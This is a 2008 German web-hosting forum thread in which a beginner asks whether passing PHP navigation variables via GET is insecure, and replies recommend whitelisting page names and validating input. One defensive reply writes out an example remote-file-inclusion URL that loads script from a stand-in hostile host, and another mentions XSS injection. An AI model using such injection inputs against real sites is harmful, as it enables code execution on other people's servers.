kostenloser Webspace werbefrei: lima-city


Variablen übergeben

lima-cityForumProgrammiersprachenPHP, MySQL & .htaccess

  1. Autor dieses Themas

    finch

    Kostenloser Webspace von finch, auf Homepage erstellen warten

    finch hat kostenlosen Webspace.

    Hallo Leute,

    bis jetzt hab ich bei meinen Seiten die Navigation in einer Homepage mit übergabe der
    Variablen in der URL gelöst (zB. www.ich.de?navi=3&linknr=3). Hab jetzt in auf einigen Seiten
    gelesen das dieses übergeben unsicher ist. Besser man solle es mit den Befehlen post sein.
    Kann mir jmd diese Übergabevariante mit einfachen Worten erklären?

    lg Finch
  2. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

  3. 1. Du liest die Variablen aber schon mit $_GET[\'navi\'] aus und prüfst sie auch!? Übergeben per GET ist meistens unsicher da die Variablen sehr einfach geändert werden können.

    2. POST wird durch Formulare übergeben.
    <form action=\"url\" method=\"POST\">
    <input type=\"text\" name=\"feld\" />
    <input type=\"submit\" value=\"Abschicken\" />
    </form>

    Zum auslesen in der Datei dann: $_POST[\'feld\']


    Beitrag geändert: 6.5.2008 3:17:04 von chatter
  4. chatter schrieb:
    1. Du liest die Variablen aber schon mit $_GET[\\\'navi\\\'] aus und prüfst sie auch!? Übergeben per GET ist meistens unsicher da die Variablen sehr einfach geändert werden können.

    2. POST wird durch Formulare übergeben.
    <form action=\\\'url\\\' method=\\\'POST\\\'>
    <input type=\\\'text\\\' name=\\\'feld\\\' />
    <input type=\\\'submit\\\' value=\\\'Abschicken\\\' />
    </form>

    Zum auslesen in der Datei dann: $_POST[\\\'feld\\\']


    Beitrag geändert: 6.5.2008 3:17:04 von chatter

    Wenn du die übergabewerte nacher mit case ausliest ist das sicher.
    Ich halte nichts von post-links da:
    1. Man die genauso gut verändern kann.
    2. Man nicht ein Link in eine neuen Tab öffnen kann.
    3. Post meiner meinung nach nur für WIRKLICHE Formulare gebraucht werden sollen. Wenn du irgendwelche eingaben übergibst (Wie bei Loginfeldern etc.) dann solltest du POST benutzen aber nicht für eine Navigation!
  5. Autor dieses Themas

    finch

    Kostenloser Webspace von finch, auf Homepage erstellen warten

    finch hat kostenlosen Webspace.

    Das bedeutet wenn ich für die Navigation Variablen in der Adressleiste übergebe entsteht
    dadurch kein Sicherheitsloch oder?

    Ausserdem mit post kann man ja innerhalb eines links keine Variablen übergeben,
    also würde sowas:

    <a href: \"meineseite.php?navi=1\">link</a>
    if (navi==1) include seite1.php;
    else include seite0.php;


    mit post befehlen würde das ja gar nicht gehen oder?
  6. Hi,

    die Übergabe per GET ist schon sicher, wenn du alles auch wirklih gut überprüfst:

    Stell dir eine kleien HP vor, die nur die Seiten navi, home und impressum hat. Dann navigierst du mit GET so: url.de/page=home

    Frage GET ab mit
    $link = $_GET[\'page\'];


    Danach überprüfst du einfach, ob der Inhalt von $link zu deinen Seiten gehört. Das heißt er muss entweder navi, home oder impressum enthalten UND NICHTS ANDERES! Erst dann bindest du die Seite mit include ein. So wird deine Seite schon sehr sicher.

    Yazurah
  7. Seiten-Schlüsselwörter oder Seiten-IDs per $_POST[] angeben?

    Nein, bloß nicht! Da $_POST Variablen in der Adresszeile nicht sichtbar sind, kann man die Seiten auch nicht bookmarken (bzw. haben keine Permalinks).

    Die Übergabe per $_GET[] ist nur dann gefährlich, wenn der Inhalt von $_GET[] per echo ausgegeben wird, dann kann ich ganz böse JavaScript Dateien somit einschleusen *heheheee. (Das nennt man auch XSS [Cross Site Scripting]).

    Ryan
  8. thomasba

    Co-Admin Kostenloser Webspace von thomasba

    thomasba hat kostenlosen Webspace.

    Wenn du das mit GET machst, solltest du beachten, dass du ALLE werte überprüfst, denn es wird schon manchmal versucht Script einzuschleusen ;)
    das sieht dann so in etwa aus:
    http://blablubb.miau/index.php?site=http://boese-internet-seite.bs/script.txt

    Also einfach eine Art Whitelist anlegen, das geht am einfachsten mit der Case-Struktur:
    http://de.php.net/manual/de/control-structures.switch.php

    und nochwas, POST sind nicht sicher, da gibts eine nette Erweiterung für den Firefox:
    http://urlparams.blogwart.com/share/index.php

  9. Die Übergabe per $_GET[] ist nur dann gefährlich, wenn der Inhalt von $_GET[] per echo ausgegeben wird, dann kann ich ganz böse JavaScript Dateien somit einschleusen *heheheee. (Das nennt man auch XSS [Cross Site Scripting]).


    Es ist auch gefährlich wenn du mit den Variablen ungeprüft arbeitest.
    Siehe http://de.wikipedia.org/wiki/Cross-Site_Scripting

    Abgesehen davon: Beide Sachen haben ihre Vor- und Nachteile. Für Navigationen ist GET sicher die bessere Lösung, aber es muss auch überprüft werden, wie sowieso alles was von Außen ins Script kommt. Leg dir am besten, wie thomasba schon gesagt hat, eine Liste aller Seiten an und Prüf die Variable damit. Wenn dir das zu aufwändig ist, oder du dauernd neue Seiten erstellt, kannst du auch prüfen ob irgendwelche http:// oder sowas in der Variable sind und dann gleich eine Fehlermeldung ausgeben, oder eine Standardseite ausgeben.
  10. Autor dieses Themas

    finch

    Kostenloser Webspace von finch, auf Homepage erstellen warten

    finch hat kostenlosen Webspace.

    ahh danke! Alles klar werd ab jetzt alles überprüfen was von oben rein kommt! :-)

    Nur so ne Frage: Ist dieses Navigieren überhaupt sinnvoll, wie macht ihr das?
    Früher hab ich das mit Frames gmacht, jetzt mach ich einfach ne tabelle und
    lade je nach Variablen von der URl den richtigen Inhalt für jede Spalte und Zeile ...

    Gibts da noch was eleganteres?


    hier meine halbfertige Seite:
    http://finch.getenjoyment.net/web2
    Verbesserungsvorschäge werden gerne angenommen...

    keiner ne Idee?

    Beitrag geändert: 7.5.2008 23:16:44 von finch
  11. t*****b

    Smarty ;) Bei Aufwändigeren Projekte ist es weniger geschickt über Parameter die Seite anzusteuern.
  12. Autor dieses Themas

    finch

    Kostenloser Webspace von finch, auf Homepage erstellen warten

    finch hat kostenlosen Webspace.

    und wie werden aufwendige Seiten gesteuert?
  13. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

Dir gefällt dieses Thema?

Über lima-city

Login zum Webhosting ohne Werbung!